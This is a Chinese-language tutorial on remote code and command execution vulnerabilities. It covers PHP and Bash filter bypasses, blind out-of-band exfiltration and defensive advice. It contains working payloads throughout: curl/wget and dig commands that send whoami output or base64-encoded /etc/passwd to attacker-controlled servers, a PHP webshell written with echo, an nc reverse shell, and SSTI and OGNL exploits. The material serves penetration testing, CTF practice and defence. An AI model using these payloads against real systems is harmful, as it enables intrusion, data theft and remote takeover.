RCE漏洞攻防:从原理到高级绕过技巧实战解析

RCE漏洞攻防:从原理到高级绕过技巧实战解析 1. 项目概述从“能执行”到“能绕过”的攻防博弈在Web安全领域RCE远程代码/命令执行漏洞无疑是“皇冠上的明珠”它意味着攻击者可以直接在目标服务器上执行任意代码或系统命令危害等级最高。但现实中的攻防远非简单的“发现漏洞-执行命令”这么线性。安全工程师在代码中设置了层层过滤而渗透测试人员则需要在“黑白盒”两种视角下像解谜一样利用通配符、编码、异或、参数逃逸乃至无回显利用等技巧绕过这些防御证明漏洞的存在与危害。这个过程就是一场围绕“执行”与“过滤”展开的深度博弈。无论是CTF选手、渗透测试工程师还是安全研发人员理解这套完整的“挖掘-利用-绕过”链条都是构建有效攻防能力的基础。本文将从原理出发结合大量实战案例拆解RCE漏洞从原理到高级绕过的完整知识体系。2. RCE漏洞核心原理与分类辨析在深入绕过技巧之前必须从根本上理解RCE是什么以及代码执行与命令执行的区别与联系。这是所有后续操作的理论基石。2.1 代码执行漏洞当字符串成为代码代码执行漏洞的本质是应用程序将用户输入的数据未经充分过滤便当作程序代码的一部分进行了解析和执行。这通常发生在动态语言中。核心产生条件一个可控的变量传入了一个能执行字符串形式代码的函数。以PHP为例一个最简单的案例就是?php $code $_GET[c]; // 用户可控输入例如传入 cphpinfo(); eval($code); // 危险函数将字符串 phpinfo(); 当作PHP代码执行 ?访问http://target.com/test.php?cphpinfo();服务器就会执行phpinfo()函数并返回结果。这里的eval()是典型的代码执行函数。常见高危函数列表PHP为例eval(): 最直接将字符串作为PHP代码执行。assert(): 主要用于调试断言但在某些配置下同样可以执行代码。preg_replace()/e修饰符PHP5.5已废弃: 在替换时对匹配项执行eval。create_function(): 动态创建匿名函数其函数体来自字符串。数组回调函数如array_map()、call_user_func()、call_user_func_array()、array_filter()、uasort()等当回调函数名或参数可控时可能导致代码执行。注意代码执行不仅限于PHP。在Python中eval()、exec()在Javascript中eval()、Function()构造函数在Java中通过反射机制调用Runtime.getRuntime().exec()或利用表达式引擎如OGNL、SpEL、MVEL都可能产生类似漏洞。关键在于输入是否被当作该语言本身的代码来解析。2.2 命令执行漏洞与操作系统交互的桥梁命令执行漏洞与代码执行类似但执行的对象是操作系统命令Shell命令。应用程序将用户输入拼接成系统命令字符串并调用系统Shell如/bin/bash、cmd.exe来执行。核心产生条件一个可控的变量传入了一个能调用系统Shell的函数。经典案例?php $cmd $_GET[cmd]; // 用户可控输入例如传入 cmdwhoami system($cmd); // 危险函数执行系统命令 whoami ?访问http://target.com/test.php?cmdwhoami服务器就会执行whoami命令并返回当前系统用户。常见高危函数列表PHP为例system(): 执行外部命令并输出结果。exec(): 执行命令通常只返回最后一行输出。shell_exec()/ 反引号: 执行命令并返回完整的输出字符串。passthru(): 执行命令并直接输出原始结果常用于二进制数据。proc_open()/popen(): 更高级的进程控制函数可以建立管道通信。2.3 代码执行与命令执行的相互转换理解二者的转换关系能极大拓展利用思路。它们并非完全割裂。1. 代码执行 - 命令执行 这是最常用的方式。在代码执行上下文中调用能够执行系统命令的函数。// 假设存在代码执行?cphpinfo(); // 我们可以构造payload将c参数的值变为执行命令的代码 ?csystem(whoami); // 实际执行的是eval(system(whoami););通过代码执行漏洞我们“写”了一段调用system函数的PHP代码从而实现了命令执行。2. 命令执行 - 代码执行 在某些环境下可以通过命令执行来创建或触发代码文件。# 通过命令执行漏洞写入一个Webshell echo ?php eval($_POST[a]);? /var/www/html/shell.php # 然后访问这个shell.php文件就获得了代码执行能力或者直接通过命令调用语言解释器执行代码片段# 利用命令执行直接运行PHP代码 php -r system(whoami); python -c import os; os.system(whoami)实操心得在实战中遇到一个执行点首先要判断它是代码执行还是命令执行上下文。这决定了你后续Payload的构造方式。如果是代码执行你的Payload必须是符合该语言语法的字符串如果是命令执行你的Payload必须是符合目标系统Shell语法的字符串。混淆二者会导致Payload失效。3. 黑盒与白盒视角下的漏洞挖掘挖掘RCE漏洞通常从“黑盒”外部测试和“白盒”代码审计两个角度进行。3.1 黑盒挖掘外部探测与推理黑盒测试中测试者没有源代码只能通过输入输出和行为来推断漏洞。1. 功能点分析数据转换与处理任何接收用户输入并可能进行“执行”操作的地方。例如模板渲染、代码生成器、表达式计算器、文件转换服务如kkfileview、PDF解析器、数据库连接配置测试、系统日志查看、Ping测试、邮件发送测试等。插件与扩展WordPress插件、CMS组件如PbootCMS、中间件管理后台如Jenkins脚本控制台、Struts2的某些Action往往是重灾区。协议与反序列化处理JSON、XML、YAML等格式的端点可能触发反序列化漏洞如Fastjson、Jackson、Python的pickle进而导致RCE。2. 参数模糊测试Fuzzing 对疑似参数系统性地注入测试Payload。基础测试;whoami、|whoami、$(whoami)、whoami、||whoami、whoami测试命令拼接。代码片段测试{{7*7}}测试模板注入、${7*7}、% 7*7 %。特殊协议测试file:///etc/passwd、php://filter/convert.base64-encode/resourceindex.php测试文件包含或协议封装。3. 利用已知漏洞特征 根据系统指纹如X-Powered-By: PHP/7.2、Server: Apache Struts 2.3.37搜索对应的公开漏洞CVE如Struts2系列漏洞S2-045, S2-059、Jenkins RCECVE-2017-1000353、ThinkPHP RCE等。使用公开的Exp或修改后的Payload进行验证。4. 无回显漏洞的探测 这是黑盒测试的难点。当页面没有直接输出命令结果时需要借助“外部带外”OOB技术。DNS外带执行ping -c 1 your-domain.com如果目标能出网你的DNS服务器会收到解析记录。HTTP外带执行curl http://your-server.com/$(whoami)将命令结果作为子域名或路径参数发送到你的服务器。时间盲注执行sleep 5通过响应时间延迟判断命令是否执行。写入文件后访问echo test /tmp/test.txt然后尝试通过Web路径或目录遍历访问/tmp/test.txt。注意事项黑盒测试务必在授权范围内进行。无回显探测需要你拥有可控的、能接收请求的服务器如VPS。对于DNS外带可以使用ceye.io、dnslog.cn等平台临时接收记录。3.2 白盒挖掘代码审计的艺术白盒测试拥有源代码可以精准定位漏洞。1. 危险函数追踪 这是最直接的方法。在项目中全局搜索上述提到的危险函数eval,system,exec,Runtime.getRuntime().exec,Process.Start等。关键问题找到函数后向上回溯看其参数是否用户可控来自$_GET、$_POST、$_REQUEST、$_COOKIE、$_SERVER某些字段、数据库、文件读取等。过滤检查检查可控参数在传入危险函数前是否经过了有效的过滤如escapeshellarg()、escapeshellcmd()、白名单、正则表达式黑名单。2. 动态函数调用与回调函数审计$func $_GET[func]; // 可控 $arg $_GET[arg]; // 可控 $func($arg); // 如果$func是system$arg是whoami则RCE$array [$_GET[a], test]; array_map($_GET[func], $array); // 如果func是system则会对数组每个元素执行命令这类漏洞非常隐蔽需要仔细分析变量传递链。3. 反序列化入口点审计 寻找unserialize()、JSON.parse()特定库、ObjectInputStream.readObject()、yaml.load()等函数检查其输入是否可控。反序列化本身不是RCE但它可能触发类的__destruct()、__wakeup()、readObject()等方法这些方法中如果存在危险操作就会导致RCE。4. 模板注入审计 在PHPTwig、Smarty、PythonJinja2、JavaFreeMarker、Velocity等模板引擎中如果用户输入被直接拼接进模板字符串并渲染可能导致模板注入进而达到代码执行的效果。# Flask Jinja2 漏洞代码示例 from flask import Flask, request app Flask(__name__) app.route(/) def index(): name request.args.get(name, Guest) template h1Hello, name !/h1 # 用户输入直接拼接 return render_template_string(template) # 危险Payload:?name{{config.__class__.__init__.__globals__[os].popen(whoami).read()}}实操心得白盒审计时不要只盯着最明显的危险函数。现代框架和编码规范使得直接使用eval的情况变少。更要关注“间接执行”的路径如动态调用、反射、反序列化链、表达式解析和模板渲染。一个复杂的RCE漏洞其利用链可能跨越多个类和文件。4. 命令执行过滤绕过技巧大全当发现一个命令执行点但存在过滤时真正的挑战才开始。以下技巧基于Linux Bash环境Windows CMD也有类似思路。4.1 绕过空格过滤空格是命令参数的分隔符被过滤后需要替代。${IFS}Bash的内部字段分隔符默认包含空格、制表符、换行。cat${IFS}flag.txt$IFS$9$9是第九个参数通常为空组合起来作为分隔符。cat$IFS$9flag.txt重定向符catflag.txt用于读写但在这里可以分隔。大括号{}扩展{cat,flag.txt}。Bash会将其扩展为cat flag.txt。制表符%09URL编码在Web传递时使用。?cmdcat%09flag.txt变量替换X$cat\x20flag.txt或cmd$cat\x0aflag.txt然后执行$cmd。4.2 绕过关键字过滤如过滤cat、flag1. 通配符*匹配任意长度任意字符。cat fla*、cat *。?匹配单个任意字符。cat fl?g.txt假设文件名已知。[a-z]字符范围。cat fla[a-z].txt。2. 命令/路径拼接变量拼接ac;bat;cfl;dag;$a$b ${c}${d}.txt # 等同于 cat flag.txt反斜杠转义c\at fl\ag.txt。在Bash中反斜杠会转义单个字符但不会影响命令执行。引号干扰cat flag.txt。单引号和双引号在Bash中会被忽略如果它们成对出现且中间无空格。3. 使用空变量$*和$$*和$表示所有位置参数未赋值时为空。ca$*t fl$ag.txt。执行时$*和$被替换为空命令还原。4. 使用其他读取命令 如果cat被过滤尝试其他可以显示文件内容的命令。命令用途示例more分页显示适合查看more flag.txtless比more更强大less flag.txthead显示文件开头head -c 1000 flag.txt(读取前1000字节)tail显示文件末尾tail flag.txttac反向显示cat倒序tac flag.txtnl显示并附加行号nl flag.txtod以八进制或其他格式转储od -a flag.txt(以ASCII显示)vi/vim编辑器可读文件vim flag.txt(进入后:q退出)sort“排序”文件实则输出内容sort flag.txtuniq“报告重复行”实则输出内容uniq flag.txtstrings打印文件中的可打印字符strings flag.txtrev反转每行字符rev flag.txtfile识别文件类型-f从文件读取file -f flag.txt 21(可能报错输出内容)bash将文件作为脚本“执行”bash flag.txt 21(文件非脚本会报错错误信息可能包含内容)sh同bashsh flag.txt 21curl使用file协议读取curl file:///absolute/path/to/flag.txtawk文本处理awk {print} flag.txtsed流编辑器sed -n p flag.txt5. 编码绕过Base64echo Y2F0IC9ldGMvcGFzc3dkCg | base64 -d | bash # 解码后为 cat /etc/passwd通过管道传给bash执行Hex编码echo 636174202f6574632f7061737377640a | xxd -r -p | bash # 将hex字符串还原为cat /etc/passwd并执行6. 时间盲注式读取 如果命令执行但无回显可以通过sleep命令结合条件判断来逐位读取文件内容。# 假设flag内容是flag{abc}读取第一个字符 # 如果flag文件第一个字符的ASCII码大于100则sleep 2秒 if [ $(head -c 1 flag.txt | od -An -t dC) -gt 100 ]; then sleep 2; fi通过观察响应时间可以推断出字符的ASCII码范围进而逐位爆破。这通常需要编写自动化脚本。4.3 无回显命令执行利用方案当命令执行成功但结果不显示在页面上时称为“无回显”或“盲注”。1. 外带数据OOB - Out of Band 这是最有效的方法。将命令执行的结果通过网络请求发送到攻击者控制的服务器。DNS外带利用DNS查询记录外带数据。因为DNS协议通常不受严格防火墙限制。# 将whoami的结果例如root作为子域名发出DNS查询 whoami | tr -d \n | xxd -p | tr -d \n | xargs -I {} dig {}.your-domain.com # 结果root被hex编码为726f6f74最终查询 726f6f74.your-domain.com # 在你的DNS服务器日志中可以看到这个查询HTTP/HTTPS外带# 使用curl或wget curl http://your-server.com/$(whoami | base64 | tr -d \n) wget http://your-server.com/$(cat /etc/passwd | base64 | tr -d \n) # 在你的Web服务器访问日志中可以看到包含base64编码结果的请求路径ICMP外带通过Ping包的数据段外带需要特制工具。2. 写入文件后间接访问 如果Web目录可写或者你知道一个能通过Web访问的路径。# 将结果写入Web目录下的一个文件 whoami /var/www/html/result.txt # 然后通过浏览器访问 http://target.com/result.txt如果不知道绝对路径可以尝试写临时文件然后利用文件包含漏洞包含它。3. 延时判断时间盲注 如前所述通过sleep命令与条件判断结合根据响应时间差异来推断命令执行结果。这是效率最低的方法但适用于完全不出网的环境。4. 利用第三方服务 平台如ceye.io、dnslog.cn、burpcollaborator.netBurp Suite专业版功能提供了临时的域名和HTTP记录点方便接收外带数据无需自建服务器。重要提示在实战渗透测试中外带技术OOB是验证和利用无回显RCE的关键技能。务必提前准备好接收服务器或使用第三方平台。5. 代码执行过滤绕过与高级技巧代码执行的绕过更侧重于语言本身的特性和技巧。5.1 字符串构造与拼接当关键字如system、eval被过滤时需要构造出这些字符串。字符串拼接// 假设过滤了system $a sy.stem; $a(whoami); // 等同于 system(whoami);点号连接$a sys.tem;利用.运算符在PHP中.是字符串连接符。5.2 异或、或、取反等无字符构造这是CTF和高级利用中常见的技巧用于在禁止或过滤了大部分字母数字字符的情况下生成我们需要的函数名和参数。原理通过对非字母数字的字符如^、|、~进行异或XOR、或OR、取反NOT运算可以生成任意字母数字字符串。示例PHP异或绕过 在PHP中两个字符串进行异或运算会对其每个字符的ASCII码进行按位异或。?php // 我们想得到字符串 system // 可以找到两个字符串A和B使得 A ^ B system // 例如(^^|) ? // ^ 的ASCII是 94 (01011110) // | 的ASCII是 124 (01111100) // 异或结果: 00100010 34 是双引号 不是我们想要的。 // 实际中我们通常编写脚本暴力枚举找到能生成目标字符的两个非字母数字字符。 // 假设通过脚本我们找到 // (%08%02%08%08%05%0d^%7b%7b%7b%7c%60%60) 的结果是字符串 system // (%08%05%09^%7e%60%7b) 的结果是字符串 ls $code (%08%02%08%08%05%0d^%7b%7b%7b%7c%60%60) . (%08%05%09^%7e%60%7b); // $code 现在是 systemls // 但我们需要的是 system(ls)所以构造如下 $payload (%08%02%08%08%05%0d^%7b%7b%7b%7c%60%60) . (( . (%08%05%09^%7e%60%7b) . )); // 最终执行: system(ls) ?实操流程编写一个Python脚本常被称为“异或脚本”或“羽翼脚本”输入你想要生成的字符串如system、cat /flag。脚本会遍历所有可打印的非字母数字字符通常范围是ASCII 33-126排除字母数字寻找两个字符通过异或或或、取反运算能得到目标字符。脚本输出Payload如(%08%02%08%08%05%0d^%7b%7b%7b%7c%60%60)。将Payload放入存在代码执行漏洞的参数中。因为Payload本身只包含百分号、数字和少量字母可能绕过基于关键字黑名单的过滤。取反绕过~ 取反操作同样可以构造字符串且有时更短。?php // ~ 是取反运算符 // urlencode(~system) 得到一串字符 $code ~籭籭籮; // 经过计算~籭籭籮 的结果是 system // 所以Payload可以是 ?c(~%8C%86%8C%8B%9A%92)(~%93%8C); // 即 system(ls) ?5.3 利用PHP动态函数与变量变量动态函数调用$func $_GET[a]; $arg $_GET[b]; $func($arg);如果过滤了system但没过滤$_GET可以尝试其他函数名如passthru、shell_exec等。变量变量$$a。如果$ab; $bsystem;那么$$a就是$b即system。可以用于间接构造函数名。5.4 利用包含与伪协议如果存在文件包含漏洞LFI可以将其转化为代码执行RCE。包含日志文件将PHP代码写入User-Agent或访问路径然后包含Apache/Nginx的访问日志。包含/proc/self/environ环境变量可能可控。包含/var/lib/php/sess_*Session文件可能写入用户数据。利用PHP伪协议php://input可以执行POST请求体中的PHP代码。需要allow_url_includeOn。data://text/plain,?php system(whoami);?同样需要allow_url_includeOn。zip://或phar://可以触发反序列化配合phar文件实现RCE。6. 实战案例综合解析让我们通过几个模拟场景串联上述技巧。场景一CTF题目过滤了cat、flag、空格题目?cmdxxxxx 可以执行命令但过滤了上述关键词。 目标读取 /flag 文件。解法绕过cat使用tac、more、less、head等。绕过flag使用通配符*或?。假设文件名就是flag可以用fla*或fl?g。绕过空格使用${IFS}、$IFS$9或大括号{}。组合Payload?cmdtac${IFS}fla*或?cmd{head,-c,100,/fla*}。场景二白盒审计发现eval($_GET[c]);但过滤了所有字母和数字代码if(preg_match(/[a-z0-9]/i, $_GET[c])) die(hacker!);解法思路必须使用无字母数字的Webshell技术。采用异或或取反构造Payload。使用工具生成。假设生成取反Payload为?c(~%8C%86%8C%8B%9A%92)(~%93%8C);。这相当于system(ls)。如果要执行其他命令需要重新生成对应命令字符串的取反Payload。场景三黑盒测试发现疑似命令执行点但无任何回显功能点网站有一个“网络诊断”功能输入IP会Ping。 测试?ip127.0.0.1;whoami 页面无变化。解法判断漏洞是否存在使用DNS外带或HTTP外带。DNS?ip127.0.0.1;ping-c1whoami.your-dns-log.comHTTP?ip127.0.0.1;curlhttp://your-server.com/whoami如果收到请求证明漏洞存在且命令执行。进一步利用尝试写入Webshell或反向Shell。写入Webshell?ip127.0.0.1;echo?php eval($_POST[a]);? /var/www/html/shell.php反向Shell假设有nc?ip127.0.0.1;nc-e/bin/bashyour-vps-ip4444场景四Java应用发现可控制的OGNL表达式注入点例如某些Struts2漏洞或某些CMS后台参数?namexxx解法识别表达式引擎。Struts2常用OGNL。使用经典的OGNL RCE Payload进行测试注意版本差异。例如?name%25%7b(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue)(%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3dfalse)(java.lang.RuntimegetRuntime().exec(calc))%7d需要URL编码并且根据实际情况调整上下文和黑名单过滤。7. 防御方案与安全开发建议了解了攻击才能更好地防御。1. 原则最小化、输入处理、输出转义避免使用危险函数如非必要不要使用eval()、assert()、system()等。寻找更安全的替代方案。最小权限原则运行Web服务的用户如www-data、nobody应具有最小必要的文件系统权限不能执行关机、写系统文件等操作。2. 输入验证与过滤白名单优于黑名单定义允许的字符集合拒绝其他所有。例如对于文件名参数只允许字母、数字、点、下划线。使用安全的API命令执行使用escapeshellarg()或escapeshellcmd()但需理解其区别和局限性。更好的方式是使用不涉及Shell的进程控制函数如proc_open()并妥善配置参数或使用语言本身的库函数替代系统命令。代码执行几乎永远不要使用eval()。动态代码生成有极大风险。如果必须确保输入完全可控或来自绝对可信源。反序列化不要反序列化不可信数据。使用安全的反序列化库或格式如JSON。3. 沙箱与隔离对于需要执行不可信代码或表达式的场景如在线代码运行平台使用沙箱技术进行隔离如Docker容器、语言级别的沙箱如JVM的SecurityManager、Python的restricted环境但都不完美。4. 安全配置与更新及时更新框架、中间件、库修复已知的RCE漏洞如Struts2、Spring、Log4j2等。关闭不必要的危险PHP配置allow_url_fopenOff、allow_url_includeOff、disable_functionssystem,exec,passthru,shell_exec,...。5. WAF与运行时防护部署Web应用防火墙WAF可以拦截常见的RCE攻击Payload。使用RASP运行时应用自保护技术在应用内部监控危险函数的调用和行为。个人体会防御RCE是一个系统工程没有银弹。最有效的防线在开发阶段。代码审计、安全编码培训、依赖组件管理、严格的线上漏洞扫描与应急响应流程缺一不可。对于渗透测试者而言理解这些绕过技巧不是为了破坏而是为了更全面地评估系统的真实风险帮助开发者和企业构建更稳固的防线。每一次成功的绕过都应该对应着防御策略的一次加固。